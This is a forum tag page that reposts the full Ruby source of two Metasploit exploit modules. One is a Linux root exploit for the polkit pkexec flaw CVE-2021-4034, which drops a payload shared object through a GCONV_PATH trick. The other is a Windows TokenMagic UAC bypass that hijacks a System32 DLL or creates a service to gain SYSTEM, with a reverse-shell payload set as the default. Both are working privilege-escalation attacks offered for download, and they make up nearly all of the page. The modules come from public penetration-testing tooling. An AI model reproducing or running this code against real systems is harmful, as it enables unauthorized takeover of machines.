Search the Community
Showing results for tags 'bwatters-r7'.
-
This is a Metasploit module for the argument processing bug in the polkit pkexec binary. If the binary is provided with no arguments, it will continue to process environment variables as argument variables, but without any security checking. By using the execve call we can specify a null argument list and populate the proper environment variables. This exploit is architecture independent. Download: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Local Privilege Escalation in polkits pkexec', 'Description' => %q{ A bug exists in the polkit pkexec binary in how it processes arguments. If the binary is provided with no arguments, it will continue to process environment variables as argument variables, but without any security checking. By using the execve call we can specify a null argument list and populate the proper environment variables. This exploit is architecture independent. }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys Security', # Original vulnerability discovery 'Andris Raugulis', # Exploit writeup and PoC 'Dhiraj Mishra', # Metasploit Module 'bwatters-r7' # Metasploit Module ], 'DisclosureDate' => '2022-01-25', 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'x86_64', { 'Arch' => [ ARCH_X64 ] } ], [ 'x86', { 'Arch' => [ ARCH_X86 ] } ], [ 'aarch64', { 'Arch' => [ ARCH_AARCH64 ] } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'Privileged' => true, 'References' => [ [ 'CVE', '2021-4034' ], [ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ], [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ], [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference [ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions [ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ]) ]) register_advanced_options([ OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]), ]) end def on_new_session(new_session) # The directory the payload launches in gets deleted and breaks some commands # unless we change into a directory that exists super old_session = @session @session = new_session cd(datastore['FinalDir']) @session = old_session end def find_pkexec vprint_status('Locating pkexec...') if exists?(pkexec = cmd_exec('which pkexec')) vprint_status("Found pkexec here: #{pkexec}") return pkexec end return nil end def check # Is the arch supported? arch = kernel_hardware unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86') return CheckCode::Safe("System architecture #{arch} is not supported") end # check the binary pkexec_path = datastore['PKEXEC_PATH'] pkexec_path = find_pkexec if pkexec_path.empty? return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil? # we don't use the reported version, but it can help with troubleshooting version_output = cmd_exec("#{pkexec_path} --version") version_array = version_output.split(' ') if version_array.length > 2 pkexec_version = Rex::Version.new(version_array[2]) vprint_status("Found pkexec version #{pkexec_version}") end return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path) # Grab the package version if we can to help troubleshoot sysinfo = get_sysinfo begin if sysinfo[:distro] =~ /[dD]ebian/ vprint_status('Determined host os is Debian') package_data = cmd_exec('dpkg -s policykit-1') pulled_version = package_data.scan(/Version:\s(.*)/)[0][0] vprint_status("Polkit package version = #{pulled_version}") end if sysinfo[:distro] =~ /[uU]buntu/ vprint_status('Determined host os is Ubuntu') package_data = cmd_exec('dpkg -s policykit-1') pulled_version = package_data.scan(/Version:\s(.*)/)[0][0] vprint_status("Polkit package version = #{pulled_version}") end if sysinfo[:distro] =~ /[cC]entos/ vprint_status('Determined host os is CentOS') package_data = cmd_exec('rpm -qa | grep polkit') vprint_status("Polkit package version = #{package_data}") end rescue StandardError => e vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.") end if sysinfo[:distro] =~ /[fF]edora/ # Fedora should be supported, and it passes the check otherwise, but it just # does not seem to work. I am not sure why. I have tried with SeLinux disabled. return CheckCode::Safe('Fedora is not supported') end # run the exploit in check mode if everything looks right if run_exploit(true) return CheckCode::Vulnerable end return CheckCode::Safe('The target does not appear vulnerable') end def find_exec_program return 'python' if command_exists?('python') return 'python3' if command_exists?('python3') return nil end def run_exploit(check) if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end arch = kernel_hardware vprint_status("Detected architecture: #{arch}") if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch')) fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload') end pkexec_path = datastore['PKEXEC_PATH'] if pkexec_path.empty? pkexec_path = find_pkexec end python_binary = find_exec_program # Do we have the pkexec binary? if pkexec_path.nil? fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath' end # Do we have the python binary? if python_binary.nil? fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath' end unless writable? datastore['WRITABLE_DIR'] fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable" end local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}" working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}" mkdir(working_dir) register_dir_for_cleanup(working_dir) random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s @old_wd = pwd cd(working_dir) cmd_exec('mkdir -p GCONV_PATH=.') cmd_exec("touch GCONV_PATH=./#{random_string_1}") cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}") cmd_exec("mkdir -p #{random_string_1}") payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so" unless check upload_and_chmodx(payload_file.to_s, generate_payload_dll) register_file_for_cleanup(payload_file) end exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py')) register_file_for_cleanup(exploit_file) cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}" print_warning("Verify cleanup of #{working_dir}") vprint_status("Running #{cmd}") output = cmd_exec(cmd) # Return to the old working directory before we delete working_directory cd(@old_wd) cmd_exec("rm -rf #{working_dir}") vprint_status(output) unless output.empty? # Return proper value if we are using exploit-as-a-check if check return false if output.include?('pkexec --version') return true end end def exploit run_exploit(false) end end Source
-
- 1
-
- qualys security advisory
- dhiraj mishra
-
(and 2 more)
Tagged with:
-
This Metasploit module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE # Needed for generate_payload_dll include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::FileSystem include Msf::Post::Windows::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)', 'Description' => %q{ This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Research 'Ruben Boonen (@FuzzySec)', # PoC 'bwatters-r7', # msf module 'jheysel-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2017-05-25', 'References' => [ ['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html'] ], 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 900 } ) ) register_options([ OptString.new('SERVICE_NAME', [false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptString.new('WRITABLE_DIR', [false, 'Directory to write file to (%TEMP% by default).', nil]), OptString.new('SERVICE_FILENAME', [false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptEnum.new('METHOD', [ true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default). Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger', 'SERVICE', ['SERVICE', 'DLL'] ]) ]) end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process) if sysinfo['Architecture'] == ARCH_X64 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll') elsif sysinfo['Architecture'] == ARCH_X86 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll') end library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the trigger DLL into #{process.pid}...") dll = ::File.read(library_path) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_good('Trigger injected.') payload_mem = inject_into_process(process, payload.encoded) print_good('Payload injected. Starting thread...') process.thread.create(exploit_mem + offset, payload_mem) end def launch_dll_trigger print_status('Trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog(e) print_error(e.message) end def payload_arch payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86 end def exploit win_dir = session.sys.config.getenv('windir') cmd_path = "#{win_dir}\\system32\\cmd.exe" if datastore['SERVICE_FILENAME'] service_filename = datastore['SERVICE_FILENAME'] else service_filename = Rex::Text.rand_text_alpha(5..9) end service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe') if datastore['SERVICE_NAME'] service_name = datastore['SERVICE_NAME'] else service_name = Rex::Text.rand_text_alpha(5..9) end if datastore['WRITABLE_DIR'] writable_dir = datastore['WRITABLE_DIR'] else writable_dir = session.sys.config.getenv('TEMP') end if datastore['METHOD'] =~ /DLL/i bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll" payload = generate_payload_dll vprint_status("Payload DLL is #{payload.length} bytes long") client.core.use('powershell') unless client.ext.aliases.include?('powershell') register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up. # Replace Value in Generic Script. cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll" else bin_path = "#{writable_dir}\\#{service_filename}" payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch }) vprint_status("Service Name = #{service_name}") client.core.use('powershell') unless client.ext.aliases.include?('powershell') # Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command. cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}" end # Check target print_status('Checking Target') validate_active_host validate_payload # Upload the payload print_status("Uploading payload to #{bin_path}") write_file(bin_path, payload) register_file_for_cleanup(bin_path) # Read in Generic Script script = exploit_data('tokenmagic', 'tokenmagic.ps1') script.gsub!('_CMD_PATH_', cmd_path) script.gsub!('_CMD_ARGS_', cmd_args) # Run Exploit Script print_status("Running Exploit on #{sysinfo['Computer']}") begin print_status('Executing TokenMagic PowerShell script') session.powershell.execute_string({ code: script }) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end if datastore['METHOD'] =~ /DLL/i launch_dll_trigger print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger and recieve a shell.") end print_good('Enjoy the shell!') end def validate_active_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_payload vprint_status("Target Arch = #{sysinfo['Architecture']}") vprint_status("Payload Arch = #{payload.arch.first}") unless payload.arch.first == sysinfo['Architecture'] fail_with(Failure::NoTarget, 'Payload arch must match target arch') end end def check sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/) if build_num.nil? return CheckCode::Unknown("Couldn't retrieve the target's build number!") else vprint_status("Target's build number: #{build_num}") build_num = build_num[0].to_i end vprint_status("Build Number = #{build_num}") if datastore['METHOD'] =~ /service/i # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134) elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134) # DLL method has been tested on Windows 10 (1703 to 1803) return Exploit::CheckCode::Appears elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063) print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!") end Exploit::CheckCode::Safe end end Source
-
- 1
-
- james forshaw
- bwatters-r7
-
(and 2 more)
Tagged with: